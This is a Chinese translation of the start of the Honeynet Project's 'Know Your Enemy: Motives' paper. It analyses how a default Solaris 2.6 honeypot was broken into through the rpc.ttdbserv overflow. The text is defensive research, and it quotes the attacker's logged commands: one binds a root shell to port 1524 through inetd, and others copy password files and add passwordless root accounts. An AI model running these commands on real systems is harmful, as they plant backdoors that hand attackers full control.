本文是 Honeynet Project 的"了解你的敌人：动机"系列文章的中文翻译，原文发布于 project.honeynet.org，中文翻译来自 xfocus.net。
该篇文章是系列之一，该系列主要介绍黑客社团使用的工具和策略。该文章不像该系列其他的文章主要介绍黑客社团怎样怎样、特别是他们使用的技术和工具的实现，而是分析他们的动机和心理。第一部分介绍一台Solaris 2.6系统被入侵，第二部分所提到的很少有相关信息发布，介绍在黑客入侵系统后14天内在“蜜罐”中的通话和行动记录，通过这些信息我们可以了解他们为什么和怎样攻击计算机系统。在入侵后，他们紧接着在系统中放置了一个IRC bot，这个东西是由黑客们所配置和实现的，用来抓取在IRC频道中的所有聊天记录。我们在这两个星期当中一直监视这些记录，所有的信息都罗列在下面。这篇文章并不是要对整个黑客社团的行为作一个概括，相反，我们通过在事件当中一些个体行为的介绍，来给大家一些提示”他们当中某些人怎样想和怎样做“，这也是我们在安全领域所面对的一些普通现象，我们真诚的希望其他安全人员能够从中受益。
下面的所有信息是通过"honeynet"得到的。“honeynet”，顾名思义，就是由网络上大量的"蜜罐"所组成，“蜜罐"最简单的定义就是通过精心设计的将被黑客社团所攻击的目标主机。一些"蜜罐"是用来分散攻击者攻击真正主机的注意力，另外一些是用来学习攻击者所使用的工具和策略的，我们这里所提到是属于后者。在本文中提到的很多信息被做了一些修改，特别是用户名和口令、信用卡号、以及很多主机名，其他如确切技术细节、工具以及聊天记录我们并没有作修改。所有信息在被发布之前都已经递交给CERT和FBI，同时对于哪些我们确信遭受入侵的系统，大约发了370份通告给它们的管理员。
Foreword, by Brad Powell
**第一部分：入侵 **
我们这里使用的"蜜罐"是缺省安装的Solaris 2.6系统，没有任何修改和安装补丁程序。在此讨论的漏洞在任何缺省安装没有使用补丁程序的Solaris 2.6系统上都存在。这也是整个"蜜罐"的设计意图，在系统上布置漏洞并学习它是如何被攻破的。在被攻击过程中，我们可以学习黑客社团所使用的工具和策略。同时"蜜罐"本身也被设计跟踪黑客的每一步行为。
在2000年6月4日，我们的缺省安装Solaris 2.6的"蜜罐"遭受到针对rpc.ttdbserv漏洞的攻击，该漏洞允许在ToolTalk 对象数据库服务上通过溢出远程执行代码(见CVE-1999-0003)。该漏洞在SANS组织的TOP 10上名列第三。我们使用基于sniffer的免费IDS系统Snort检测到该攻击的。
Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill: 192.168.78.12:877 -> 172.16.1.107:32775
rpc.ttdbserv漏洞允许远程用户通过缓冲溢出攻击在目标系统上以root权限执行任意命令。下面是攻击者在攻击成功后，在系统上安装后门，具体如下所示：攻击者在’/tmp/bob’文件中加上ingreslock服务(在/etc/service预定义的，端口1524)，然后以改文件作为配置文件重新启动inetd，这样/bin/sh被以root权限帮定在1524端口，给予了远程用户root存取权限。
/bin/ksh -c echo ‘ingreslock stream tcp nowait root /bin/sh sh -i’ »/tmp/bob ; /usr/sbin/inetd -s /tmp/bob.
当黑客安装了后门，他紧接着连接到1524端口，作为root获得一个shell，并开始执行如下命令。他增加了两个系统用户帐号，以便以后可以telnet上来，注意这里的错误和”;“控制字符(因为1524端口的shell没有正确的环境)。
cp /etc/passwd /etc/.tp;
^Mcp /etc/shadow /etc/.ts;
echo “r:x:0:0:User:/:/sbin/sh”
/etc/passwd;
echo “re:x:500:1000:daemon:/:/sbin/sh”
/etc/passwd;
echo “r::10891::::::”
/etc/shadow;
echo “re::6445::::::”
/etc/shadow;
: not found